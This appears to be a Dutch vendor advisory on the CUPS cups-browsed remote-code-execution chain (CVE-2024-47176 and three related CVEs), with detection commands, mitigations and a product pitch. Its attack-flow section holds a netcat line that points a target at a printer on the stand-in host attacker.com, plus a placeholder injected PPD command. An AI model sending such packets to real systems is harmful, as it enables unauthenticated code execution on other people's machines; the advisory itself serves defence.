CVE-2024-47176: CUPS Linux RCE — 300.000 Aan Internet Blootgestelde Systemen
Kort samengevat: Een keten van vier CUPS-kwetsbaarheden (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) maakt niet-geauthenticeerde remote code execution mogelijk op Linux-systemen die cups-browsed draaien. Bij openbaarmaking waren meer dan 300.000 systemen aan internet blootgesteld. Treft Ubuntu, Debian, Red Hat, Fedora en de meeste Linux-distributies standaard.
| Kenmerk | Waarde |
|---|---|
| Primaire CVE | CVE-2024-47176 |
| Gerelateerde CVE's | CVE-2024-47076, -47175, -47177 |
| CVSS-vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20: Improper Input Validation |
| Gepubliceerd | 26 september 2024 |
| Exploitatie | Publieke PoC — opportunistische scans waargenomen |
CVSS 9.9 — KRITIEK
Wat is CVE-2024-47176?
CUPS (Common Unix Printing System) is de standaard afdrukinfrastructuur op Linux en macOS. De daemon cups-browsed luistert op UDP-poort 631 naar printeraankondigingen op het netwerk. CVE-2024-47176 is het toegangspunt in een keten van vier kwetsbaarheden: cups-browsed accepteert UDP-pakketten van elke bron, inclusief internet, zonder authenticatie.
Door een geprepareerd UDP-pakket naar poort 631 te sturen, kan een aanvaller ervoor zorgen dat het systeem van het slachtoffer terugverbindt met een door de aanvaller gecontroleerde "printer". Deze kwaadaardige printer levert een geprepareerd PPD-bestand (PostScript Printer Description) met ingesloten commando's. Wanneer het slachtoffer iets print, worden die commando's op hun systeem uitgevoerd.
De volledige aanvalsketen
| CVE | Component | Beschrijving |
|---|---|---|
| CVE-2024-47176 | cups-browsed | Bindt aan UDP 0.0.0.0:631, accepteert pakketten van elk IP |
| CVE-2024-47076 | libcupsfilters | IPP-attribuutwaarden niet gesaneerd bij het aanmaken van PPD-bestanden |
| CVE-2024-47175 | libppd | PPD-bestandsgeneratie saneert IPP-attributen niet |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine staat willekeurige commando-uitvoering toe |
Aanvalsverloop
# Step 1: Attacker sends UDP packet to target:631 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # Step 2: cups-browsed fetches IPP attributes from attacker's server # Attacker's server returns malicious printer attributes # Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data # PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # Step 4: Next time any user prints (or admin triggers test print): # FoomaticRIP executes the command from the PPD # Command runs as the lp user (often has significant filesystem access)
De aanvaller hoeft slechts één UDP-pakket te sturen om de kwaadaardige printer in te stellen. Exploitatie wordt vervolgens getriggerd zodra een gebruiker op het systeem probeert te printen — inclusief routinematige printopdrachten die pas uren of dagen later plaatsvinden. Op servers zou een aanvaller exploitatie ook op afstand kunnen triggeren door een printopdracht naar de nieuw geïnstalleerde kwaadaardige printer te sturen.
Omvang van de impact
Op het moment van openbaarmaking identificeerden Shodan- en Censys-scans ongeveer 300.000 aan internet blootgestelde systemen met een open UDP-poort 631. De kwetsbaarheid treft vrijwel elke grote Linux-distributie die cups-browsed meelevert:
- Ubuntu (cups-browsed standaard ingeschakeld in desktop-edities)
- Debian en afgeleiden
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arch Linux
- De meeste Linux-desktopdistributies
macOS is niet getroffen omdat het zijn eigen afdrukstack gebruikt. macOS gebruikt CUPS echter ook intern, dus bepaalde configuraties kunnen door gerelateerde problemen worden getroffen.
Detectie
# Check if cups-browsed is running systemctl status cups-browsed ps aux | grep cups-browsed # Check if UDP 631 is exposed ss -ulnp | grep 631 netstat -ulnp | grep 631 # Check for unexpected printer additions lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # Look for suspicious PPD files find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # Check logs for unexpected IPP connections grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
Mitigatie
- Stop en schakel cups-browsed uit indien niet nodig:
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- Pas patches toe: cups-browsed 2.0.1 en cups-filters 2.0.1 verhelpen de kwetsbaarheden. Ubuntu, Debian en Red Hat brachten binnen dagen na openbaarmaking patches uit.
- Blokkeer UDP-poort 631 bij de firewall: voorkom dat externe pakketten cups-browsed bereiken
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- Verwijder FoomaticRIP indien niet nodig: de laatste RCE-stap vereist foomatic-rip. Verwijdering ervan (als Foomatic-printers niet worden gebruikt) elimineert de mogelijkheid tot code-uitvoering.
- Audit printerconfiguraties: verwijder onherkende printervermeldingen uit
/etc/cups/printers.conf
💡 De meeste servers zijn niet kwetsbaar: serverinstallaties van Linux installeren cups-browsed doorgaans niet standaard. Het hogere risico ligt bij Linux-werkstations en ontwikkelmachines. Elk Linux-systeem dat is geconfigureerd voor printen moet echter worden geauditeerd.
KENSAI-detectiemogelijkheden
- UDP-poortscanning: KENSAI identificeert aan internet blootgestelde UDP 631-diensten in uw externe aanvalsoppervlak
- Servicefingerprinting: identificeert CUPS-versie en aanwezigheid van cups-browsed op basis van netwerkreacties
- Interne netwerkscanning: de interne scanner van KENSAI identificeert cups-browsed dat draait op interne Linux-werkstations en servers
- Pakketversiedetectie: agent-gebaseerde scanning identificeert kwetsbare CUPS-pakketversies op Linux-endpoints
- Remediatie-richtlijnen: stapsgewijze remediatie-instructies met OS-specifieke commando's voor uw distributie
KENSAI scant uw interne en externe aanvalsoppervlak op CUPS-kwetsbaarheden bij alle Linux-systemen. Krijg in enkele minuten het volledige beeld.
Vind CUPS-blootstelling